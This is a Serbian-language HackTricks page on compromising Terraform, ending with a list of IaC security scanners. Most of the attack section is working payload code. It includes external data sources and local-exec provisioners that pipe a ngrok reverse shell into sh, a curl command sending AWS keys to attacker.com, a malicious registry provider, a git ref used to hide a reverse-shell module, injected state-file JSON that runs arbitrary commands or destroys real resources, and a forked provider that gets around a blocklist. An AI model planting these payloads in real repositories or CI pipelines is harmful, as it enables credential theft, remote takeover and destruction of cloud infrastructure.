Terraform Security
Reading time: 13 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
HashiCorp Terraform je alat za infrastrukturu kao kod koji vam omogućava da definišete resurse u oblaku i lokalne resurse u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su računarstvo, skladištenje i mrežni resursi, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.
Kako Terraform funkcioniše?
Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.
HashiCorp i Terraform zajednica su već napisali više od 1700 provajdera za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se nastavlja povećavati. Sve javno dostupne provajdere možete pronaći na Terraform Registry, uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.
Osnovni Terraform radni tok se sastoji od tri faze:
- Pisanje: Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
- Planiranje: Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
- Primena: Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.
Terraform laboratorija
Samo instalirajte terraform na vašem računaru.
Ovde imate vodič i ovde imate najbolji način za preuzimanje terraforma.
RCE u Terraformu: trovanje konfiguracionih datoteka
Terraform nema platformu koja izlaže veb stranicu ili mrežnu uslugu koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform da možemo dodati/izmeniti terraform konfiguracione datoteke ili da možemo izmeniti terraform stanje datoteke (vidi poglavlje ispod).
Međutim, terraform je veoma osetljiva komponenta za kompromitovanje jer će imati privilegovan pristup različitim lokacijama kako bi mogao pravilno da funkcioniše.
Glavni način na koji napadač može kompromitovati sistem na kojem se terraform izvršava je da kompromituje repozitorijum koji čuva terraform konfiguracije, jer će u nekom trenutku biti interpretirane.
U stvari, postoje rešenja koja automatski izvršavaju terraform plan/primenu nakon što je PR kreiran, kao što je Atlantis:
Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti načini na koje možete izvršiti RCE kada neko izvrši terraform plan
ili terraform apply
.
Terraform plan
Terraform plan je najčešće korišćena komanda u terraformu i programeri/rešenja koja koriste terraform je stalno pozivaju, tako da je najlakši način da dobijete RCE da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u terraform plan
.
Korišćenje spoljnog provajdera
Terraform nudi external
provajder koji pruža način za interakciju između Terraforma i spoljnjih programa. Možete koristiti external
izvor podataka za izvršavanje proizvoljnog koda tokom plana
.
Umetanje u terraform konfiguracionu datoteku nešto poput sledećeg će izvršiti rev shell kada se izvrši terraform plan
:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Korišćenje prilagođenog provajdera
Napadač bi mogao poslati prilagođenog provajdera na Terraform Registry i zatim ga dodati u Terraform kod u funkcionalnoj grani (primer odavde):
terraform {
required_providers {
evil = {
source = "evil/evil"
version = "1.0"
}
}
}
provider "evil" {}
Provajder se preuzima u init
i izvršiće maliciozni kod kada se izvrši plan
Možete pronaći primer na https://github.com/rung/terraform-provider-cmdexec
Korišćenje spoljnog reference
Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na diskretniji način, prateći ove sugestije:
- Umesto da direktno dodate rev shell u terraform datoteku, možete učitati spoljnji resurs koji sadrži rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
Možete pronaći rev shell kod na https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- U spoljnim resursima, koristite ref funkciju da sakrijete terraform rev shell kod u grani unutar repozitorijuma, nešto poput:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Terraform Apply
Terraform apply će biti izvršen da primeni sve promene, takođe ga možete zloupotrebiti da dobijete RCE injektovanjem malicioznog Terraform fajla sa local-exec.
Samo treba da se pobrinete da neki payload poput sledećih završi u main.tf
fajlu:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Sledite preporukama iz prethodne tehnike da izvršite ovaj napad na diskretniji način koristeći spoljne reference.
Izvori tajni
Možete imati tajne vrednosti koje koristi terraform izbačene pokretanjem terraform apply
dodavanjem nečega poput:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Zloupotreba Terraform State Fajlova
U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, ova istraživanja nude neke zanimljive opcije za korišćenje fajla. Čak i ako biste imali pristup za pisanje nad konfiguracionim fajlovima, korišćenje vektora state fajlova je često mnogo podlije, pošto ne ostavljate tragove u git
istoriji.
RCE u Terraform-u: trovanje konfiguracionog fajla
Moguće je napraviti prilagođenog provajdera i jednostavno zameniti jednog od provajdera u terraform state fajlu za malicioznog ili dodati lažni resurs koji se poziva na malicioznog provajdera.
Provajder statefile-rce se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu command
. Kada se pokrene terraform
run, ovo će biti pročitano i izvršeno u koracima terraform plan
i terraform apply
. U slučaju koraka terraform apply
, terraform
će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i puna demonstracija mogu se naći u GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera.
Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u nizu resources
i prilagodite atribute name
i command
:
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
Zatim, čim se izvrši terraform
, vaš kod će se pokrenuti.
Brisanje resursa
Postoje 2 načina da se unište resursi:
- Umetnite resurs sa nasumičnim imenom u fajl stanja koji pokazuje na pravi resurs koji treba uništiti
Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane:
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
- Izmenite resurs za brisanje na način da nije moguće ažurirati (tako da će biti obrisan i ponovo kreiran)
Za EC2 instancu, izmena tipa instance je dovoljna da terraform obriše i ponovo je kreira.
Zamenite crnu listu provajdera
U slučaju da naiđete na situaciju gde je hashicorp/external
stavljen na crnu listu, možete ponovo implementirati external
provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj vlastiti fork ili ponovnu implementaciju.
terraform {
required_providers {
external = {
source = "nazarewk/external"
version = "3.0.0"
}
}
}
Tada možete koristiti external
kao i obično.
data "external" "example" {
program = ["sh", "-c", "whoami"]
}
Automatski alati za reviziju
Snyk Infrastructure as Code (IaC)
Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform, CloudFormation, Kubernetes i drugim IaC formatima.
- Karakteristike:
- Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti.
- Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket).
- Automatizovani zahtevi za ispravke.
- Detaljni saveti za otklanjanje problema.
- Prijavite se: Kreirajte nalog na Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code
Checkov
Checkov je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i open source pakete.
Skeneruje cloud infrastrukturu koja je obezbeđena koristeći Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, ili OpenTofu i detektuje bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.
Izvodi Software Composition Analysis (SCA) skeniranje koje je skeniranje open source paketa i slika za Common Vulnerabilities and Exposures (CVEs).
pip install checkov
checkov -d /path/to/folder
terraform-compliance
From the docs: terraform-compliance
je lagan, bezbednosno orijentisan test okvir za usklađenost protiv terraform-a koji omogućava negativno testiranje za vašu infrastrukturu kao kod.
- usaglašenost: Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
- razvoj vođen ponašanjem: Imamo BDD za gotovo sve, zašto ne i za IaC?
- prenosiv: samo ga instalirajte putem
pip
ili ga pokrenite putemdocker
. Pogledajte Instalacija - pre-deploy: validira vaš kod pre nego što bude implementiran
- lako za integraciju: može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane.
- razdvajanje dužnosti: možete čuvati svoje testove u drugom repozitorijumu gde je odgovorna posebna ekipa.
note
Nažalost, ako kod koristi neke provajdere kojima nemate pristup, nećete moći da izvršite terraform plan
i pokrenete ovaj alat.
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
tfsec
From the docs: tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.
- ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku
- ⛔ Stotine ugrađenih pravila
- 🪆 Skenira module (lokalne i udaljene)
- ➕ Evaluira HCL izraze kao i literalne vrednosti
- ↪️ Evaluira Terraform funkcije npr.
concat()
- 🔗 Evaluira odnose između Terraform resursa
- 🧰 Kompatibilan sa Terraform CDK
- 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika
- 📃 Podržava više formata izlaza: lovely (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
- 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke)
- ⚡ Veoma brzo, sposobno za brzo skeniranje ogromnih repozitorijuma
brew install tfsec
tfsec /path/to/folder
KICKS
Pronađite sigurnosne ranjivosti, probleme usklađenosti i greške u konfiguraciji infrastrukture rano u razvoju vaše infrastrukture kao koda uz KICS od Checkmarx.
KICS označava Keeping Infrastructure as Code Secure, otvorenog je koda i neophodan je za svaki cloud native projekat.
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
Terrascan
Iz dokumentacije: Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava:
- Besprekorno skeniranje infrastrukture kao koda za pogrešne konfiguracije.
- Praćenje obezbeđene cloud infrastrukture za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
- Otkrivanje sigurnosnih ranjivosti i kršenja usklađenosti.
- Ublažavanje rizika pre obezbeđivanja cloud native infrastrukture.
- Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD.
brew install terrascan
Reference
- Atlantis Security
- https://alex.kaskaso.li/post/terraform-plan-rce
- https://developer.hashicorp.com/terraform/intro
- https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
- https://github.com/offensive-actions/terraform-provider-statefile-rce
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.